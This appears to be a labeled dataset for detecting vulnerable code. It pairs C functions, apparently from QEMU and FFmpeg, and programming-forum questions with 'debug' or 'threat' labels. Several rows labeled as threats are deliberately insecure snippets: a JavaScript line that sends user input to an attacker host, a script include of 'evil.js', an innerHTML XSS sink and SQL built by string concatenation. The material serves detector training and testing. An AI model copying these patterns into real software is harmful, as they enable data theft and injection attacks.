problem
stringlengths
26
131k
labels
class label
2 classes
void Process(void *ctx, AVPicture *picture, enum PixelFormat pix_fmt, int width, int height, INT64 pts) { ContextInfo *ci = (ContextInfo *) ctx; AVPicture picture1; Imlib_Image image; DATA32 *data; image = get_cached_image(ci, width, height); if (!image) { image = imlib_creat...
1threat
def permute_string(str): if len(str) == 0: return [''] prev_list = permute_string(str[1:len(str)]) next_list = [] for i in range(0,len(prev_list)): for j in range(0,len(str)): new_str = prev_list[i][0:j]+str[0]+prev_list[i][j:len(str)-1] if new_str not in ...
0debug
ng serve not detecting file changes automatically : <p>I need to run <code>ng serve</code> every time when any changes made to the source files.I have no error in the console.</p> <pre><code>Angular CLI: 1.6.2 Node: 8.9.1 OS: linux ia32 Angular: 5.1.2 ... animations, common, compiler, compiler-cli, core, forms ... htt...
0debug
Create-React-App with Moment JS: Cannot find module "./locale" : <p>Just ran an <code>npm update</code> on my web application and now <em>Moment JS</em> appears to be failing with the following message:</p> <pre><code>Error: Cannot find module "./locale" \node_modules\moment\src\lib\moment\prototype.js:1 &gt; 1 | impo...
0debug
How to generate class diagram from models in EF Core? : <p>We are building an application using ASP.NET MVC Core and Entity Framework Core and we have the whole bunch of classes in our application. In previous versions of Entity Framework, we would use this method for generating an edmx file for class diagram:</p> <pr...
0debug
Why does this program which finds the smallest triangle number with >500 factors crash? : <p>I have written the program below to solve Project Euler 12, which involves finding the smallest triangle number with over 500 factors.</p> <p>I don't think there are major errors. I suspect memory optimization may be an issue....
0debug
static void pxa2xx_rtc_piupdate(PXA2xxRTCState *s) { int64_t rt = qemu_get_clock(rt_clock); if (s->rtsr & (1 << 15)) s->last_swcr += rt - s->last_pi; s->last_pi = rt; }
1threat
document.getElementById('input').innerHTML = user_input;
1threat
static int net_socket_connect_init(NetClientState *peer, const char *model, const char *name, const char *host_str) { socket_connect_data *c = g_new0(socket_connect_data, 1); int fd = -1; Error *l...
1threat
HTML doctype, how browser performs on reading doctype : <p>actually i was thinking how browser performs or knows when it reads an specific doctype and after reading doctype, is there a pattern present or build in the browser or it searches on internet to know how to display ?</p>
0debug
How to deploy ASP.NET Core UserSecrets to production : <p>I followed the <a href="https://docs.asp.net/en/latest/security/app-secrets.html" rel="noreferrer">Safe storage of app secrets during development</a> guide over on the asp.net docs during development but it does not describe how to use it when publishing to anot...
0debug
How could you simplify or improve this method that checks has_many association for change before looping through and setting a value on each? : Below the code happens before the model is saved, it checks through each answer option to see if the correct_answer is changed on any of the answers if so, it then looks for wh...
0debug
void ff_xvmc_decode_mb(MpegEncContext *s) { XvMCMacroBlock *mv_block; struct xvmc_pix_fmt *render; int i, cbp, blocks_per_mb; const int mb_xy = s->mb_y * s->mb_stride + s->mb_x; if (s->encoding) { av_log(s->avctx, AV_LOG_ERROR, "XVMC doesn't support encoding!!!\n"); ret...
1threat
static inline void RENAME(rgb32to15)(const uint8_t *src, uint8_t *dst, unsigned src_size) { const uint8_t *s = src; const uint8_t *end; #ifdef HAVE_MMX const uint8_t *mm_end; #endif uint16_t *d = (uint16_t *)dst; end = s + src_size; #ifdef HAVE_MMX mm_end = end - 15; #if 1 asm volatile( "movq %3,...
1threat
Area links don't generate in asp.net-core-mvc : <p>Following this guide I've been creating an Admin area: <a href="https://docs.asp.net/en/latest/mvc/controllers/areas.html" rel="noreferrer">https://docs.asp.net/en/latest/mvc/controllers/areas.html</a></p> <p>I can navigate to the admin pages by directly typing in the...
0debug
Using material-ui with redux? : <p>I'm currently rendering main component this way: </p> <pre><code> ReactDOM.render( &lt;Provider store = {store}&gt; {getRoutes(checkAuth)} &lt;/Provider&gt;, document.getElementById('app') ) </code></pre> <p>the docs state to use MuiThemeProvider to wra...
0debug
static void test_io_channel_unix_fd_pass(void) { SocketAddress *listen_addr = g_new0(SocketAddress, 1); SocketAddress *connect_addr = g_new0(SocketAddress, 1); QIOChannel *src, *dst; int testfd; int fdsend[3]; int *fdrecv = NULL; size_t nfdrecv = 0; size_t i; char bufsend[1...
1threat
window.location.href = 'http://attack.com?user=' + user_input;
1threat
C++ double act as float? : <p>C++ </p> <pre><code>float f = 0.123456789; double d = 0.123456789; cout &lt;&lt; "float = " &lt;&lt; f &lt;&lt; endl; cout &lt;&lt; "double = " &lt;&lt; d &lt;&lt; endl; </code></pre> <p>Output </p> <pre><code>float = 0.123457 double = 0.123457 </code></pre> <p>Why?<br> How to use <...
0debug
How do I wait for certain user response in Discord.net? : After asking a question in a channel await channel.SendMessageAsync("question?"); how do I wait for a certain response? (eg. yes, no) I've tried string input; bool done = false; while(!done) { input = channel.GetMessage...
0debug
static inline void idct4row(DCTELEM *row) { int c0, c1, c2, c3, a0, a1, a2, a3; a0 = row[0]; a1 = row[1]; a2 = row[2]; a3 = row[3]; c0 = (a0 + a2)*R3 + (1 << (R_SHIFT - 1)); c2 = (a0 - a2)*R3 + (1 << (R_SHIFT - 1)); c1 = a1 * R1 + a3 * R2; c3 = a1 * R2 - a3 * R1; ...
1threat
crash when i click a button : I have a button to get to a new Activity, but the app crash when i click on it. what can i do to fix this. This is the code i juse for opening the Activity <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-js --> package no.vfk.vfkhakkespett...
0debug
db.execute('SELECT * FROM products WHERE product_id = ' + product_input)
1threat
Suggest data-structure for this use case : <p>Language: Java</p> <p>I have a fixed pool of threads running, all of who have to ask a question and take user input in the form of (Yes/No) at some point, which would basically decide its further execution. Since I don't want to intermingle the output questions from multip...
0debug
float64 float64_muladd(float64 a, float64 b, float64 c, int flags STATUS_PARAM) { flag aSign, bSign, cSign, zSign; int_fast16_t aExp, bExp, cExp, pExp, zExp, expDiff; uint64_t aSig, bSig, cSig; flag pInf, pZero, pSign; uint64_t pSig0, pSig1, cSig0, cSig1, zSig0, zSig1; int shiftcount; ...
1threat
void qmp_block_job_set_speed(const char *device, int64_t value, Error **errp) { BlockJob *job = find_block_job(device); if (!job) { error_set(errp, QERR_DEVICE_NOT_ACTIVE, device); return; } if (block_job_set_speed(job, value) < 0) { error_set(errp, QERR_NOT_SUPPORTED...
1threat
static void convert_matrix(int *qmat, UINT16 *qmat16, const UINT16 *quant_matrix, int qscale) { int i; if (av_fdct == jpeg_fdct_ifast) { for(i=0;i<64;i++) { qmat[block_permute_op(i)] = (int)((UINT64_C(1) << (QMAT_SH...
1threat
How to properly extract content from object converted to string c#? : <p>I am writing Unit-Tests and am trying to extract a value from a HttpResponseMessage. I am trying to get the value <code>resultCount</code>. Currenly my string looks like this:<code>"{"resultCount":5,"works":null,"success::false,"errors"null}"</c...
0debug
VB getting the last 3 digit number in textbox : <p>i have 16textbox and one command button for my userform and the textbox 1 are the one that i use to search for the data and display it from other textbox.</p> <p>my question is.</p> <p>it is possible for textbox1 to search only the last 3 digit number instead of 8 di...
0debug
Understanding code for custom in-place modification function? : <p>I came across this post: <a href="http://r.789695.n4.nabble.com/speeding-up-perception-tp3640920p3646694.html" rel="noreferrer">http://r.789695.n4.nabble.com/speeding-up-perception-tp3640920p3646694.html</a> from Matt Dowle, discussing some early? imple...
0debug
static int ehci_process_itd(EHCIState *ehci, EHCIitd *itd, uint32_t addr) { USBDevice *dev; USBEndpoint *ep; uint32_t i, len, pid, dir, devaddr, endp; uint32_t pg, off, ptr1, ptr2, max, mult; ehci->periodic_sched_active = PERIODIC_ACT...
1threat
error Failed to build iOS project. We ran "xcodebuild" command but it exited with error code 65 : <p>I've build a react-native application and suddenly I get this error message on my terminal during run of the command react-native run-ios. The same code work fine 10 minutes ago and suddenly I get this error message. Pl...
0debug
int ff_dca_lbr_parse(DCALbrDecoder *s, uint8_t *data, DCAExssAsset *asset) { struct { LBRChunk lfe; LBRChunk tonal; LBRChunk tonal_grp[5]; LBRChunk grid1[DCA_LBR_CHANNELS / 2]; LBRChunk hr_grid[DCA_LBR_CHANNELS / 2]; LBRChunk ts1[DCA_LBR_CHAN...
1threat
iOS 11 black bar appears on navigation bar when pushing view controller : <p>I have this weird bug only in iOS 11, in lower iOS, everything works fine. The problem is that whenever pushing to a view controller, there is a black space appears on top of the navigation bar. Has anyone else experienced this problem and how...
0debug
How can I build a PROPER constructor and destructor? : Question #1: How can I build a constructor set the value for (R,PoF,PoR)? I am trying to understand how constructor works......but I guess I don't quite get it...... Question #2: Can I build destructor in this way, instead of the way I used in my program. ...
0debug
Are local variables necessary? : <p>My understanding is the C calling convention places arguments on the stack prior to calling a function. These arguments could be accessed within the function through explicit stack parameters using <code>EBP</code> as a reference such as <code>[EBP + 8]</code> or <code>[EBP + 12]</co...
0debug
Logstash multiple inputs multiple outputs : <p>I'm trying to sync data between MySQL and Elasticsearch with Logstash. </p> <p>I set multiple jdbc inputs and multiple outputs to different elasticsearch indexes ... and something I am doing wrong because everything is going to the else block.</p> <p>Here is my config:</...
0debug
Server-side rendering + responsive design + inline styles -> which breakpoint to use? : <p>I have a responsive web application built with ReactJS for which I want one day to support server-side rendering. </p> <p>According to the viewport size, the application layout/behavior changes. But all these changes can not onl...
0debug
void checkasm_check_blockdsp(void) { LOCAL_ALIGNED_16(uint16_t, buf0, [6 * 8 * 8]); LOCAL_ALIGNED_16(uint16_t, buf1, [6 * 8 * 8]); AVCodecContext avctx = { 0 }; BlockDSPContext h; ff_blockdsp_init(&h, &avctx); check_clear(clear_block, 8 * 8); check_clear(clear_blocks, 8 * 8 * ...
1threat
static struct bt_device_s *bt_device_add(const char *opt) { struct bt_scatternet_s *vlan; int vlan_id = 0; char *endp = strstr(opt, ",vlan="); int len = (endp ? endp - opt : strlen(opt)) + 1; char devname[10]; pstrcpy(devname, MIN(sizeof(devname), len), opt); if (endp) { ...
1threat
static void iommu_mem_writew(void *opaque, target_phys_addr_t addr, uint32_t val) { IOMMUState *s = opaque; target_phys_addr_t saddr; saddr = (addr - s->addr) >> 2; DPRINTF("write reg[%d] = %x\n", (int)saddr, val); switch (saddr) { case IOMMU_CTRL: ...
1threat
Is use of generics valid in XCTestCase subclasses? : <p>I have a <code>XCTestCase</code> subclass that looks something like this. I have removed <code>setup()</code> and <code>tearDown</code> methods for brevity: </p> <pre><code>class ViewControllerTests &lt;T : UIViewController&gt;: XCTestCase { var viewControlle...
0debug
static inline void gen_goto_tb(DisasContext *s, int n, target_ulong dest) { if (use_goto_tb(s, dest)) { tcg_gen_goto_tb(n); gen_set_pc_im(s, dest); tcg_gen_exit_tb((uintptr_t)s->tb + n); } else { TCGv addr = tcg_temp_new(); gen_set_pc_im(s, dest); tcg_g...
1threat
static int virtio_pci_load_config(void * opaque, QEMUFile *f) { VirtIOPCIProxy *proxy = opaque; int ret; ret = pci_device_load(&proxy->pci_dev, f); if (ret) { return ret; } msix_load(&proxy->pci_dev, f); if (msix_present(&proxy->pci_dev)) { qemu_get_be16s(f, &proxy-...
1threat
static void dvbsub_parse_clut_segment(AVCodecContext *avctx, const uint8_t *buf, int buf_size) { DVBSubContext *ctx = avctx->priv_data; const uint8_t *buf_end = buf + buf_size; int i, clut_id; int version; DVBSubCLUT *clut; int entry_id, depth , ...
1threat
static int qcow2_write_compressed(BlockDriverState *bs, int64_t sector_num, const uint8_t *buf, int nb_sectors) { BDRVQcowState *s = bs->opaque; z_stream strm; int ret, out_len; uint8_t *out_buf; uint64_t cluster_offset; if (nb_sectors == 0) { ...
1threat
document.write('<script src="evil.js"></script>');
1threat
Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 3 : <p><strong>Introduction</strong></p> <p>I am working with the bootstrap framework.I am currently working on "Bootstrap Tabs"(hide/show).I am using bootstrap version 3 and jquery version 3.0.2 something.</p> <p><strong>Problem</...
0debug
db.execute('SELECT * FROM products WHERE product_id = ' + product_input)
1threat
use of int32_t in c? : I have two Questions in my mind now 1.Firstly, why do we need int32_t as we already have different variation for it like short int unsigned int and etc. 2.Secondly does the use of this type of size fixed types makes programs portable?
0debug
static int cache_read(URLContext *h, unsigned char *buf, int size) { Context *c= h->priv_data; CacheEntry *entry, *next[2] = {NULL, NULL}; int r; entry = av_tree_find(c->root, &c->logical_pos, cmp, (void**)next); if (!entry) entry = next[0]; if (entry) { int64_t in...
1threat
static void gradfun_filter_line_mmxext(uint8_t *dst, uint8_t *src, uint16_t *dc, int width, int thresh, const uint16_t *dithers) { intptr_t x; if (width & 3) { x = width & ~3; ff_gradfun_filter_line_c(dst + x, s...
1threat
How can i read a csv based on data in other columns? : <p>Heres my example csv:</p> <pre><code>col1: col2: col3: 1 true false 2 true true 3 false false 4 false true 5 true true </code></pre> <p>i want to be able to say 'give me col1 if col2 is true and col3 is false' Any help is ap...
0debug
how to conver Linq to sql : How can I can I write this sql queryt to linq select c.Name as 'Name', s.Status from (select * , ROW_NUMBER() over (partition by CustomerID order by Date desc) rn from CustomerStatus) detail inner join Status s on detail.Status = s.Id inner join Custom...
0debug
How to create Toast in Flutter? : <p>Can I create something similar to <a href="https://developer.android.com/guide/topics/ui/notifiers/toasts.html" rel="noreferrer">Toasts</a> in Flutter ? Just a tiny notification window that is not directly in the face of the user and does not lock or fade the view behind it?</p>
0debug
Generate PDF in .Net core 2.0 using rdlc : <p>With .Net Core 2.0 not supporting Report Viewer, is there any other alternative way of doing this? </p> <p>I found alanjuden's solution (<a href="https://alanjuden.com/2016/11/10/mvc-net-core-report-viewer/" rel="noreferrer">https://alanjuden.com/2016/11/10/mvc-net-core-re...
0debug
Can I run a Go web server with HTML/JavaScript UI as a cross platform application (Linux, Android, iOS, macOS, Windows) : <p>I'm experimenting with Go and as I web developer I want to explore the possibilities of building the same Go web service with the same HTML/JavaScript/CSS UI cross platform for Linux, Android, iO...
0debug
Entity Framework like ORM for Cosmos DB : <p>I am looking for any ORM for Cosmos DB. Most of the client which have been mentioned in samples create a new connection to table when they need i.e. there is no connection pooling policy. It seems creating new connection always as is given in samples is non scalable. Please ...
0debug
Why we use '?' character in c# : <p>I am looking at somebody code. I found:</p> <pre><code>XOffset = !MirroredMovement ? trans.x * MoveRate : -trans.x * MoveRate; </code></pre> <p>He use '?' character, why ? What does it mean ? I did not understand.</p>
0debug
Bash (zsh) script syntax issue : I've honestly worn out my keyboard on this one... what does the (N) term in the following script segment mean? (from oh-my-zsh.sh): for config_file ($ZSH_CUSTOM/*.zsh**(N)**); do source $config_file done I ask because .zsh files in $ZSH_CUSTOM directory aren't gett...
0debug
CPUDebugExcpHandler *cpu_set_debug_excp_handler(CPUDebugExcpHandler *handler) { CPUDebugExcpHandler *old_handler = debug_excp_handler; debug_excp_handler = handler; return old_handler; }
1threat
I want to scrape content or data from dynamic web page using php? : <p>Is it possible to scrape content or data from dynamic web page? If it is possible please attach PHP code. Thanks in Advance. </p>
0debug
static inline int GET_TOK(TM2Context *ctx,int type) { if(ctx->tok_ptrs[type] >= ctx->tok_lens[type]) { av_log(ctx->avctx, AV_LOG_ERROR, "Read token from stream %i out of bounds (%i>=%i)\n", type, ctx->tok_ptrs[type], ctx->tok_lens[type]); return 0; } if(type <= TM2_MOT) return ...
1threat
How to compare two aspect ratios? : I want to compare two ratios using javascript. I have two ratios 12:3 and 12:2 and I need to compare both. if(12:3 > 12:2) { console.log(true); } Something similar to above.Thank you.
0debug
get all items in a list of strings in Python : I got the following code: import re dump_final = re.findall(r"\btext=[\w]*", dump5) Which returns me a list. E.g: Apple, Banana, Lemon Turns out I need to get all elements of this list and call another function using those elements. To scan all lis...
0debug
static int msrle_decode_frame(AVCodecContext *avctx, void *data, int *got_frame, AVPacket *avpkt) { const uint8_t *buf = avpkt->data; int buf_size = avpkt->size; MsrleContext *s = avctx->priv_data; int istride = FFALIGN(avctx->width*avctx->bits...
1threat
Visual Studio 2015 Diagnostic Tools Window doesn't show up : <p>I'm able to show the diagnostic tools windows via Debug -> Windows -> Show Diagnostic Tool.</p> <p>But that windows always disappears when starting / debugging the application.</p> <p>What is going on?</p>
0debug
How can I improve this JavaScript code? : <pre><code>for(var i = 1; i &lt;= 20; i++){ switch (i) { case 3: case 6: case 9: case 12: case 18: console.log("Fizz"); break; case 5: case 10: case 20: console.log("Buzz");...
0debug
How to get index of a triggered array input []? : So we can do: <input name=test[]> <input name=test[]> ... to created an array of input for test[]. But before submission, if I were to manipulate each input in javascript upon change, how do I do that? I figure there needs to be a way to pass the index of...
0debug
js onclick working strange : <p>I have the next code </p> <pre><code>$.ajax({ url: '/data', type: "POST", data: JSON.stringify(formData), contentType: "application/json", dataType: "json", success: function(response){ ...
0debug
What is the meaning of the mentioned query? : <p>If I had the table "CustomerDetails" than what is the below query explains??</p> <pre><code>var details = (from data in entity.CustomerDetails where (data.CustomerId == CustId &amp;&amp; data.CustomerProjectID == CustProjId) select data).FirstOrDefault(); </code></pre> ...
0debug
if I have a collection of hashes with the same key and values, how do I add another value together : Say I've assigned the rows below to hashes. How do I add together the :amount values for a specific id number? (so for id: 1, I need the total= 9290+2262) other_id: 1,amount: 9290,id: 1 other_id: 2,amount: 2262,id: ...
0debug
static int start_frame(AVFilterLink *inlink, AVFilterBufferRef *picref) { AVFilterContext *ctx = inlink->dst; TInterlaceContext *tinterlace = ctx->priv; avfilter_unref_buffer(tinterlace->cur); tinterlace->cur = tinterlace->next; tinterlace->next = picref; return 0; }
1threat
static void qtrle_encode_line(QtrleEncContext *s, AVFrame *p, int line, uint8_t **buf) { int width=s->logical_width; int i; signed char rlecode; unsigned int bulkcount; unsigned int skipcount; unsigned int repeatcount; int total_bulk_cost; int tot...
1threat
static void q35_host_get_pci_hole_start(Object *obj, Visitor *v, const char *name, void *opaque, Error **errp) { Q35PCIHost *s = Q35_HOST_DEVICE(obj); uint32_t value = s->mch.pci_hole.begin; visit_type_uint32(v, name, &v...
1threat
what is double(::) in angular js? : <p>While going through some of the angular best practices guide I found this concept of using <code>::</code> before models for uni-direction binding. But it seems does not work with <code>input</code> field. Here is an example:</p> <p><a href="https://plnkr.co/edit/gZ73PNGGg4m45zFu...
0debug
Comparing a date between two date ranges i.e,.fromDate and toDate in java : <p>How to check whether a given date is between two dates but it should not check with the time in given date.</p> <p>I have tried with after but it checks for time range too.</p> <p>Could anyone help me to know about this ?</p> <p>TIA.,</p>...
0debug
Angular 2 Router Wildcard handling with child-routes : <p>When using child routes with angular2's router "3.0", there is no need to declare them in the parent router config (before, you had to do something like <code>/child...</code> in the parent component).</p> <p>I want to configure a global "page not found" handle...
0debug
static av_cold int jpg_init(AVCodecContext *avctx, JPGContext *c) { int ret; ret = build_vlc(&c->dc_vlc[0], avpriv_mjpeg_bits_dc_luminance, avpriv_mjpeg_val_dc, 12, 0); if (ret) return ret; ret = build_vlc(&c->dc_vlc[1], avpriv_mjpeg_bits_dc_chrominance, ...
1threat
Why RuntimeException Legal here? : import java.io.*; import java.sql.*; import java.io.*; import java.sql.*; class Vehicle{ public void park()throws IOException{//compiletime checked } } class Car extends Vehicle{ public void park()throws RuntimeExcept...
0debug
Search for a specific value inside a Generic list : <p>The purpose of the below code is to find a specific value within a generic list using List.Find() method . I am pasting a code below : </p> <pre><code>class Program { public static List&lt;Currency&gt; FindItClass = new List&lt;Currency&gt;(); pub...
0debug
Concise, universal A* search in C# : <p>I was looking for an A* search implementation in C#. Eventually wrote my own. Because it's universal, I hope it will be useful for others.</p>
0debug
pvscsi_command_complete(SCSIRequest *req, uint32_t status, size_t resid) { PVSCSIRequest *pvscsi_req = req->hba_private; PVSCSIState *s = pvscsi_req->dev; if (!pvscsi_req) { trace_pvscsi_command_complete_not_found(req->tag); return; } if (resid) { trace...
1threat
Helpt to understand 'string' must be a non-nullable and generic method : I have few questions in the following method. Can an expert help me to understand the structure and why I am getting the error? I have this method that will get a xml element, search the attribute specified in name parameter and case is can't f...
0debug
SELECTED DROP BOX SHOWS 2 VALUES FROM MYSQL DATABASE : Hey I am having some trouble with my dropdown menu values that I retrieve from my database. I see two values instead of one. $con = mysqli_connect("localhost","root","") ; $myDB = mysqli_select_db($con, "test"); $dbEnc =...
0debug
Selenium on Google Colab, PermissionError: [Errno 13] Permission denied: '/content/chromedriver.exe' : I have been using Google Colab for my python projects. I want to learn & implement Selenium using Google Colab. I am trying to log in to Facebook as shown below. But, I am stuck with 'Permission error'. I have looked ...
0debug
VS2017 Setup Project - Where? : <p>I'm trying to create a setup project / installer for a C# project but can't find the 'setup project' template in VS2017.</p> <p>In VS2015 it was under: Other Project Types >> Setup and Deployment >> Visual Studio Installer and I used that several times without any problem.</p> <p>Th...
0debug
static uint32_t omap_sysctl_read(void *opaque, target_phys_addr_t addr) { struct omap_sysctl_s *s = (struct omap_sysctl_s *) opaque; switch (addr) { case 0x000: return 0x20; case 0x010: return s->sysconfig; case 0x030 ... 0x140: return s->padconf[(addr - 0x3...
1threat
Java See if a number can be square/cube rooted : <p>I would like to square/cube root but also 4,5,etc. how would I do this?<br> I can do square</p> <pre><code>public static boolean isSquareNumber(int n) { int a = (int) Math.sqrt(n); if(Math.pow(a, 2) == n) { return true; } else { return fa...
0debug
Find all ranges of consecutive numbers in array : <p>Given a sorted array of numbers, how do you get ranges of consecutive numbers? The function should return ranges and single numbers as a string. Example:</p> <pre><code>function findRanges(arrayOfSortedNumbers) { // logic here } findRanges([1, 3, 4, 5, 7]) =&gt; ...
0debug
Python least squares optimization : I am trying to solve the problem below: Given the input data (25 columns), find the optimal coefficients and powers to return the least squared sum of errors based on the target value. Coefficients must be bound between [0, inf) and powers are bound between [0,3], both inclusive. ...
0debug
Why does Mysql Server Communicate with Client via Listen Socket? : <p>Generally ,when a server accepts a TCP request in the first time ,it will get a new socket from operation system for subsequent communications . For example ,the relevant function is <code>Socket java.net.ServerSocket.accept()</code> in java . But no...
0debug
T-SQL to check if a list of values returned from a query exists in another table's column : <p>I have a GUID assigned to a device where a user could sign in to multiple accounts. Every time the app runs it registers the GUID and the UserId in a table. The GUID will remain unique but could have multiple UserId's.</p> ...
0debug
I'm looking to decode a JavaScript file something 108,37,89,115,93,40,113,37 : <p>Looking to decode a script like this how can i do it do you know any website who will help me, its my first time i see this?</p> <pre><code>var ab = [96,111,104,93,110,99,105,104,26,89,91,34,35,117,112,91,108,26,115,55,89,115,93,40,112,3...
0debug
Python hashing binary search : Write a binary_search function which at each step prints the list being searched as in the following output. It shows both the sublist currently being searched and then how that gets split into two parts around the midpoint. This is what I have tried, but still struggle to find the sol...
0debug
static void print_pte(Monitor *mon, uint32_t addr, uint32_t pte, uint32_t mask) { monitor_printf(mon, "%08x: %08x %c%c%c%c%c%c%c%c\n", addr, pte & mask, pte & PG_GLOBAL_MASK ? 'G' : '-', pte & PG_PSE_MASK ? 'P' : '-', ...
1threat
static int compand_nodelay(AVFilterContext *ctx, AVFrame *frame) { CompandContext *s = ctx->priv; AVFilterLink *inlink = ctx->inputs[0]; const int channels = inlink->channels; const int nb_samples = frame->nb_samples; AVFrame *out_frame; int chan, i; if (av_frame_is_writable(fra...
1threat
static void common_end(FFV1Context *s){ int i; for(i=0; i<s->plane_count; i++){ PlaneContext *p= &s->plane[i]; av_freep(&p->state); } }
1threat
'addEventListener' of null : <p>please help me with the following code, it shows "Uncaught TypeError: Cannot read property 'addEventListener' of null".</p> <pre><code>let btn = document.getElementById("btn"); function function1(){ let ourRequest = new XMLHttpRequest(); ourRequest.open('GET', 'https://learnwebcode...
0debug
static void RENAME(yuv2rgb565_2)(SwsContext *c, const uint16_t *buf0, const uint16_t *buf1, const uint16_t *ubuf0, const uint16_t *ubuf1, const uint16_t *vbuf0, const uint16_t *vbuf1, const uint16_t *abuf0, ...
1threat